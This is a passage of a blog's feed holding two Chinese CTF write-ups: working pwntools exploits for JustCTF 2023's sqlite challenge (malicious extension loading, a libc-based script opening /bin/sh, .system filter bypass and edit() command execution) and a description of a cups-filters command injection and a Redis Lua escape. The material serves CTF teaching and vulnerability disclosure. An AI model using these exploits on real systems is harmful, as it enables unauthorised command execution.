class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.arch=<span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"><span class="comment">#context.terminal = [&#x27;tmux&#x27;, &#x27;splitw&#x27;, &#x27;-h&#x27;, &#x27;-F&#x27; &#x27;#&#123;pane_pid&#125;&#x27;, &#x27;-P&#x27;]</span></span><br><span class="line"><span class="comment"># p=process(&#x27;./pwn&#x27;)</span></span><br><span class="line"><span class="keyword">import</span> binascii</span><br><span class="line">p = remote(<span class="string">&quot;0.0.0.0&quot;</span>,<span class="number">13337</span>)</span><br><span class="line">ru         = <span class="keyword">lambda</span> a:     p.readuntil(a)</span><br><span class="line">r         = <span class="keyword">lambda</span> n:        p.read(n)</span><br><span class="line">sla     = <span class="keyword">lambda</span> a,b:     p.sendlineafter(a,b)</span><br><span class="line">sa         = <span class="keyword">lambda</span> a,b:     p.sendafter(a,b)</span><br><span class="line">sl        = <span class="keyword">lambda</span> a:     p.sendline(a)</span><br><span class="line">s         = <span class="keyword">lambda</span> a:     p.send(a)</span><br><span class="line">sla(<span class="string">b&quot;&gt; &quot;</span>,<span class="string">b&quot;CREATE TABLE images(name TEXT, type TEXT, img BLOB);&quot;</span>)</span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;./exp.so&quot;</span>,<span class="string">&#x27;rb&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    dt = f.read()</span><br><span class="line">sla(<span class="string">b&quot;&gt; &quot;</span>,<span class="string">b&quot;INSERT INTO images(name,type,img)&quot;</span>)</span><br><span class="line"></span><br><span class="line">dt = binascii.hexlify(dt)</span><br><span class="line"><span class="comment"># warning(chr(dt[1]))</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(dt.decode())</span><br><span class="line"><span class="comment"># input()</span></span><br><span class="line"></span><br><span class="line">sla(<span class="string">b&quot;&gt; &quot;</span>,<span class="string">f&quot;VALUES(&#x27;icon&#x27;,&#x27;jpeg&#x27;,cast(x&#x27;<span class="subst">&#123;dt.decode()&#125;</span>&#x27; as text));&quot;</span>)</span><br><span class="line">sla(<span class="string">b&quot;&gt; &quot;</span>,<span class="string">b&quot;SELECT writefile(&#x27;./exp.so&#x27;,img) FROM images WHERE name=&#x27;icon&#x27;;&quot;</span>)</span><br><span class="line"><span class="comment"># print(hex(int(p.readline())))</span></span><br><span class="line">sla(<span class="string">b&quot;&gt; &quot;</span>,<span class="string">b&quot;select Load_extension(&#x27;./exp&#x27;,&#x27;exp&#x27;);&quot;</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h3 id="learned-from-JustCTF"><a href="#learned-from-JustCTF" class="headerlink" title="learned from JustCTF"></a>learned from JustCTF</h3><p>那么如果我们不能上传文件的时候如何利用 <code>load_extension</code> ，方法来做命令执行呢？</p><h4 id="load-libc-so"><a href="#load-libc-so" class="headerlink" title="load libc.so"></a>load libc.so</h4><p>我们可以通过 <code>select Load_extension(&#39;/lib/x86_64-linux-gnu/libc.so.6&#39;,&#39;puts&#39;);</code>  来执行任意的 glibc 方法，例如这里的思路是</p><p>通过 puts 、gets  为预测堆地址，并写入我们的结构，然后爆破堆地址让他在执行 system 的时候,确保是执行我们想要的命令。 exploit 来自 @n132</p><figure class="highlight python"><figcaption><span>title:"exploit for notabug2(JustCTF 2023)"</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="comment"># p = process(&quot;./sqlite3&quot;)</span></span><br><span class="line"><span class="comment">#context.log_level=&#x27;debug&#x27;</span></span><br><span class="line"><span class="comment">#p = remote(&quot;0.0.0.0&quot;,13339)</span></span><br><span class="line">p = remote(<span class="string">&#x27;notabug2.nc.jctf.pro&#x27;</span>, <span class="number">1337</span>)</span><br><span class="line">ru         = <span class="keyword">lambda</span> a:     p.readuntil(a)</span><br><span class="line">r         = <span class="keyword">lambda</span> n:        p.read(n)</span><br><span class="line">sla     = <span class="keyword">lambda</span> a,b:     p.sendlineafter(a,b)</span><br><span class="line">sa         = <span class="keyword">lambda</span> a,b:     p.sendafter(a,b)</span><br><span class="line">sl        = <span class="keyword">lambda</span> a:     p.sendline(a)</span><br><span class="line">s         = <span class="keyword">lambda</span> a:     p.send(a)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">sla(<span class="string">b&quot;lite&gt;&quot;</span>,<span class="string">b&quot;select Load_extension(&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;,&#x27;puts&#x27;);&quot;</span>)</span><br><span class="line">ru(<span class="string">&quot;: \n&quot;</span>)</span><br><span class="line">lic = u64(p.recvn(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">warning(<span class="built_in">hex</span>(lic))</span><br><span class="line">pie_base = lic - <span class="number">0x1589a0</span></span><br><span class="line"></span><br><span class="line">heap = <span class="number">0x00005555556b0000</span>-<span class="number">0x0000555555554000</span>+pie_base <span class="comment"># 1/0x2000</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># system_plt = (pie_base+0x2228C)</span></span><br><span class="line">system_plt = pie_base + <span class="number">0x10910</span></span><br><span class="line"><span class="keyword">if</span> pie_base &gt; <span class="number">0x600000000000</span>:</span><br><span class="line">    p.close()</span><br><span class="line">warning(<span class="built_in">hex</span>(pie_base)) <span class="comment">#lic+0x28b8</span></span><br><span class="line">sla(<span class="string">b&quot;lite&gt;&quot;</span>,<span class="string">b&quot;select Load_extension(&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;,&#x27;gets&#x27;);&quot;</span>)</span><br><span class="line">p.sendline(p64(heap+<span class="number">0x11eb0</span>)+<span class="string">b&#x27;a&#x27;</span>*<span class="number">0x8</span>+p64(pie_base+<span class="number">0x000000000009e0ad</span>))</span><br><span class="line"><span class="comment"># raw_input()</span></span><br><span class="line">dt = <span class="string">b&quot;/bin/sh\0&quot;</span>+flat([<span class="number">0</span>]*<span class="number">8</span>)+ flat([<span class="number">0</span>]*<span class="number">8</span>)+ p64(system_plt)</span><br><span class="line">sla(<span class="string">b&quot;lite&gt; &quot;</span>,<span class="string">f&quot;select cast(x&#x27;<span class="subst">&#123;dt.<span class="built_in">hex</span>()&#125;</span>&#x27; as text), &quot;</span>.encode()+<span class="string">b&quot;Load_extension(&#x27;&quot;</span>+p64(system_plt)[:<span class="number">6</span>]+<span class="string">b&quot;&#x27;,&#x27;/bin/sh&#x27;);&quot;</span>)</span><br><span class="line">p.sendline(<span class="string">b&quot;echo n132&quot;</span>)</span><br><span class="line"><span class="comment"># p.interactive()</span></span><br><span class="line">data = p.read(timeout=<span class="number">1</span>)</span><br><span class="line"><span class="keyword">if</span> <span class="string">b&#x27;n132&#x27;</span> <span class="keyword">in</span> data:</span><br><span class="line">    p.sendline(<span class="string">&quot;/jailed/readflag&quot;</span>)</span><br><span class="line">    <span class="built_in">input</span>()</span><br><span class="line">    p.interactive()</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p.close()</span><br></pre></td></tr></table></figure><h4 id="system-execute-command"><a href="#system-execute-command" class="headerlink" title=".system execute command"></a>.system execute command</h4><p>在 <code>Command Line Shell For SQLite</code> 界面中， sqlite 是内置了一些方法的 <sup id="fnref:3"><a href="#fn:3" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://blog.csdn.net/liubingzhao/article/details/50885880">[3]</span></a></sup>  ，其中就包括了 <code>.system</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.system CMD ARGS…Run CMD ARGS… in a system shell</span><br></pre></td></tr></table></figure><p>这是可以直接执行命令的，但是在 JustCTF 中， 程序做了限制</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># root @ pwnable in /tmp/private [14:10:59]</span></span><br><span class="line">$ cat run-sqlite.sh</span><br><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line">sed -ue <span class="string">&#x27;/^\./ &#123; /^\.open/!d; &#125;&#x27;</span> | /jailed/sqlite3 -interactive<span class="comment">#</span></span><br></pre></td></tr></table></figure><p>这个正则的解释就是:</p><p>这个sed脚本的作用是从输入中筛选出特定的行。它使用正则表达式进行匹配。解释一下脚本的含义：</p><p>/^./：匹配以.开头的行。<br>{ /^.open/!d; }：对于匹配到的以.开头的行，如果行不以.open开头，则删除（d）该行。<br>因此，这个sed命令的作用是删除以.开头但不以.open开头的行。</p><p>因此通常而言我们是不能直接执行 <code>.system</code> 命令的，但是如果和 <code>select Load_extension(&#39;/lib/x86_64-linux-gnu/libc.so.6&#39;,&#39;getchar&#39;);</code> 配合就可以了， 这是 @crazyman 赛后发现的。 大概是正则多行匹配的问题了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">select load_extension(&#39;&#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc-2.31&#39;, &#39;getchar&#39;);</span><br><span class="line"> .system &#x2F;jailed&#x2F;readflag</span><br><span class="line">Runtime error: error during initialization: </span><br><span class="line">justCTF&#123;SQL1t3_F34tur3_n0t_bug_Int3nd3d!11!!!111!!1&#125;</span><br></pre></td></tr></table></figure><h4 id="sqlite3-edit-function-execute-command"><a href="#sqlite3-edit-function-execute-command" class="headerlink" title="sqlite3 edit function execute command"></a>sqlite3 edit function execute command</h4><p>在 sqlite 还有一个名叫 <code>Edit()</code> 的函数 <sup id="fnref:4"><a href="#fn:4" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://www.sqlite.org/cli.html">[4]</span></a></sup>， 该 <code>Edit()</code> 接受一个或两个参数。第一个参数是一个值——通常是一个要编辑的大的多行字符串。第二个参数是对文本编辑器的调用。仔细阅读代码，该方法其实也是可以执行任意命令的</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sqlite3_create_function(p-&gt;db, <span class="string">&quot;edit&quot;</span>, <span class="number">2</span>, SQLITE_UTF8, <span class="number">0</span>,</span><br><span class="line">                            editFunc, <span class="number">0</span>, <span class="number">0</span>);</span><br></pre></td></tr></table></figure><p>最后调用到 <code>editFunc</code> 中</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">zCmd = sqlite3_mprintf(<span class="string">&quot;%s \&quot;%s\&quot;&quot;</span>, zEditor, zTempFile);</span><br><span class="line"><span class="keyword">if</span>( zCmd==<span class="number">0</span> )&#123;</span><br><span class="line">  sqlite3_result_error_nomem(context);</span><br><span class="line">  <span class="keyword">goto</span> edit_func_end;</span><br><span class="line">&#125;</span><br><span class="line">rc = system(zCmd);</span><br><span class="line">sqlite3_free(zCmd);</span><br></pre></td></tr></table></figure><p>这是在 discord 看到另外一个队的PoC：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">sqlite&gt; .open :memory:</span><br><span class="line">sqlite&gt; CREATE TABLE t(a INT, b VARCHAR(200));</span><br><span class="line">sqlite&gt; insert into t values (0, &#39;&#39;);</span><br><span class="line">sqlite&gt; update t set b&#x3D;edit(&#39;&#39;,&#39;&#x2F;jailed&#x2F;readflag&#39;) where a&#x3D;0;</span><br><span class="line">justCTF&#123;SQL1t3_F34tur3_n0t_bug_Int3nd3d!11!!!111!!1&#125;</span><br></pre></td></tr></table></figure><h2 id="Reference-link"><a href="#Reference-link" class="headerlink" title="Reference link"></a>Reference link</h2><p>1 <a href="https://www.blackhat.com/docs/us-17/wednesday/us-17-Feng-Many-Birds-One-Stone-Exploiting-A-Single-SQLite-Vulnerability-Across-Multiple-Software.pdf">Many-Birds-One-Stone</a><br>2 <a href="https://www.sqlite.org/c3ref/load_extension.html">load_extension</a><br>3 <a href="https://blog.csdn.net/liubingzhao/article/details/50885880">SQLite3命令行窗口常用命令</a><br>4 <a href="https://www.sqlite.org/cli.html">The edit() SQL function</a></p><div id="footnotes"><hr><div id="footnotelist"><ol style="list-style: none; padding-left: 0; margin-left: 40px"><li id="fn:1"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">1.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://www.blackhat.com/docs/us-17/wednesday/us-17-Feng-Many-Birds-One-Stone-Exploiting-A-Single-SQLite-Vulnerability-Across-Multiple-Software.pdf<a href="#fnref:1" rev="footnote"> ↩</a></span></li><li id="fn:2"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">2.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://www.sqlite.org/c3ref/load_extension.html<a href="#fnref:2" rev="footnote"> ↩</a></span></li><li id="fn:3"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">3.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://blog.csdn.net/liubingzhao/article/details/50885880<a href="#fnref:3" rev="footnote"> ↩</a></span></li><li id="fn:4"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">4.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://www.sqlite.org/cli.html<a href="#fnref:4" rev="footnote"> ↩</a></span></li></ol></div></div></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr</summary>
      
    
    
    
    <category term="Writeup" scheme="https://bestwing.me/categories/Writeup/"/>
    
    
    <category term="justctf" scheme="https://bestwing.me/tags/justctf/"/>
    
    <category term="sqlite" scheme="https://bestwing.me/tags/sqlite/"/>
    
  </entry>
  
  <entry>
    <title>Real World CTF 5th writeup</title>
    <link href="https://bestwing.me/RWCTF-5th-Writeup.html"/>
    <id>https://bestwing.me/RWCTF-5th-Writeup.html</id>
    <published>2023-05-16T16:00:00.000Z</published>
    <updated>2026-02-11T09:23:12.201Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL;DR"></a>TL;DR</h2><p>这次 RWCTF 比赛我一共出了两个题: 「Printer2」 和 「Hardened Redis」。至于为什么今天才在博客更新这个Writeup一个原因就是 Pritner2 相关的漏洞今天终于发布了正式补丁。</p><h2 id="Printer2"><a href="#Printer2" class="headerlink" title="Printer2"></a>Printer2</h2><p>这是 <code>OpenPrinting</code> 项目中 <code>cups-filters</code> 模块下的 Backend Error Handler（简称 beh）存在的漏洞。这里是关于 <a href="https://wiki.linuxfoundation.org/openprinting/database/backenderrorhandler">beh</a> 的介绍</p><p>漏洞点位于 <a href="https://github.com/OpenPrinting/cups-filters/blob/5c9498a57d3b331d9b1aa59df206b26a9510f335/backend/beh.c#L288">cups-filters/backed/beh.c#L288</a></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"> <span class="comment">// (context: argv = beh &lt;job-id&gt; &lt;user&gt; &lt;title&gt; &lt;copies&gt; &lt;options&gt; [file])</span></span><br><span class="line">  <span class="built_in">snprintf</span>(cmdline, <span class="keyword">sizeof</span>(cmdline),</span><br><span class="line">  <span class="string">&quot;%s/backend/%s &#x27;%s&#x27; &#x27;%s&#x27; &#x27;%s&#x27; &#x27;%s&#x27; &#x27;%s&#x27; %s&quot;</span>,</span><br><span class="line">  cups_serverbin, scheme, argv[<span class="number">1</span>], argv[<span class="number">2</span>], argv[<span class="number">3</span>],</span><br><span class="line">        ...</span><br><span class="line">  (argc == <span class="number">6</span> ? <span class="string">&quot;1&quot;</span> : argv[<span class="number">4</span>]),</span><br><span class="line">  argv[<span class="number">5</span>], filename);</span><br><span class="line">        ...</span><br><span class="line">retval = system(cmdline) &gt;&gt; <span class="number">8</span>;</span><br></pre></td></tr></table></figure><p>可以看到这里有一个明显的命令注入， 当用户控制 user 或者 title 字段的时候可以造成任意命令执行。更详细的细节可以看我提交给官方的报告：</p><p><a href="https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-gpxc-v2m8-fr3x">report a command inject Vulnerabilities in cups-filters </a></p><h2 id="Hardened-Redis"><a href="#Hardened-Redis" class="headerlink" title="Hardened Redis"></a>Hardened Redis</h2><p>这是题目考点是在较高版本的情况下在有访问 <code>Redis</code> 的情况下如何获取  <code>Redis</code> 所在系统 shell 权限。 在高版本的 Redis 已经不能使用主从复制来获取 shell了（印象中），另外我也禁用了一些 <code>Redis</code> 的方法。 但是由于对 Redis 的熟知程度不够， 其次也是去年参加 CTF 少了， 被 <a href="https://hackmd.io/@Xion/goq_22s_authors_writeup">2022 Spring GoN Open Qual CTF</a> 的一个 <code>Redis</code> 题的解法非预期了。</p><p>下次有机会可以和大家详细分享下这个解法。</p><p>这里接着讲我的预期解法，讲到 <code>Redis</code> ， 如果大家有印象，应该会想到 <code>CVE-2022-0543</code> 。 当时这个漏洞影响了 Debian 系列的 Linux 发行版系统的包管理器所安装的 <code>Redis</code> 。因为 Debian 系列由于打包问题，Redis在Lua解析器初始化后，package变量没有被正确清除，导致攻击者可以利用它来进行Lua沙箱逃逸，从而执行任意系统命令。</p><p>这个时候我们注意到了这 Debian 系列用的 <code>Redis</code> （即使用 apt 安装 ) 所使用的 lua 解析器是 lua 5.1 ， 而且是存在一个 2015 年漏洞的 lua 解析器，虽然这个漏洞在 2015 年就被 <a href="https://github.com/redis/redis/commit/49efe300af258e83f377cd8142d2c67d66fc2e3a"><code>Redis</code>官方修复了</a>， 但是 lua 5.1 解析器并没有修复。</p><p><code>apt</code> 命令安装的redis使用的是单独的 liblua5.1.so.0</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-05-24-b443c11f82ebe41d313bbaf1c058f8b8-87e7f8.png" title="image-20230524155200264" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-05-24-b443c11f82ebe41d313bbaf1c058f8b8-87e7f8.png" alt="image-20230524155200264"></a></p><p>2015 年这个漏洞是 <code>CVE-2015-4335</code>， 另外 HN 评论区当时也提到了这个问题， </p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-05-18-7d5da9fdabc3b657f586d9f14af353b8-7a3f85.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-05-18-7d5da9fdabc3b657f586d9f14af353b8-7a3f85.png"></a></p><p><a href="https://news.ycombinator.com/item?id=30617641">I think this is still ‘broken’ because Redis have applied custom patches to the )</a></p><p>虽然当时我也给  ubuntu 和 Debian 发了邮件提醒了这件事，但是他们的回复看起来是不是很想单独修复。</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-05-18-e8eca39e1e8091cb3cd4123d47d5736a-1bc0a2.png" title="image-20230518002900794" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2023-05-18-e8eca39e1e8091cb3cd4123d47d5736a-1bc0a2.png" alt="image-20230518002900794"></a></p><p>进一步的漏洞利用与分析可以参考我 chu 师父 的博客， <a href="https://mp.weixin.qq.com/s/JxZC5pqi92xEOUT3BKdyWg">Redis CVE-2015-4335分析 </a>， 我就不赘述了。 没想到隔了这么久还是依然能受到 chu 师父的照顾。</p><h2 id="Reference-link"><a href="#Reference-link" class="headerlink" title="Reference link"></a>Reference link</h2><p><a href="https://github.com/OpenPrinting/cups-filters/blob/5c9498a57d3b331d9b1aa59df206b26a9510f335/backend/beh.c#L288">cups-filters/backed/beh.c#L288</a></p><p><a href="https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-gpxc-v2m8-fr3x">report a command inject Vulnerabilities in cups-filters</a></p><p><a href="https://hackmd.io/@Xion/goq_22s_authors_writeup">2022 Spring GoN Open Qual CTF</a></p><p><a href="https://news.ycombinator.com/item?id=30617641">I think this is still ‘broken’ because Redis have applied custom patches to the … | Hacker News (ycombinator.com)</a></p><p><a href="https://github.com/redis/redis/commit/49efe300af258e83f377cd8142d2c67d66fc2e3a">disable loading lua bytecode</a></p><p><a href="https://mp.weixin.qq.com/s/JxZC5pqi92xEOUT3BKdyWg">Redis CVE-2015-4335分析 </a></p></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr</summary>
      
    
    
    
    <category term="Writeup" scheme="https://bestwing.me/categories/Writeup/"/>
    
    
    <category term="pwn" scheme="https://bestwing.me/tags/pwn/"/>
    
    <category term="cve-2023-24805" scheme="https://bestwing.me/tags/cve-2023-24805/"/>
    
  </entry>
  
</feed>
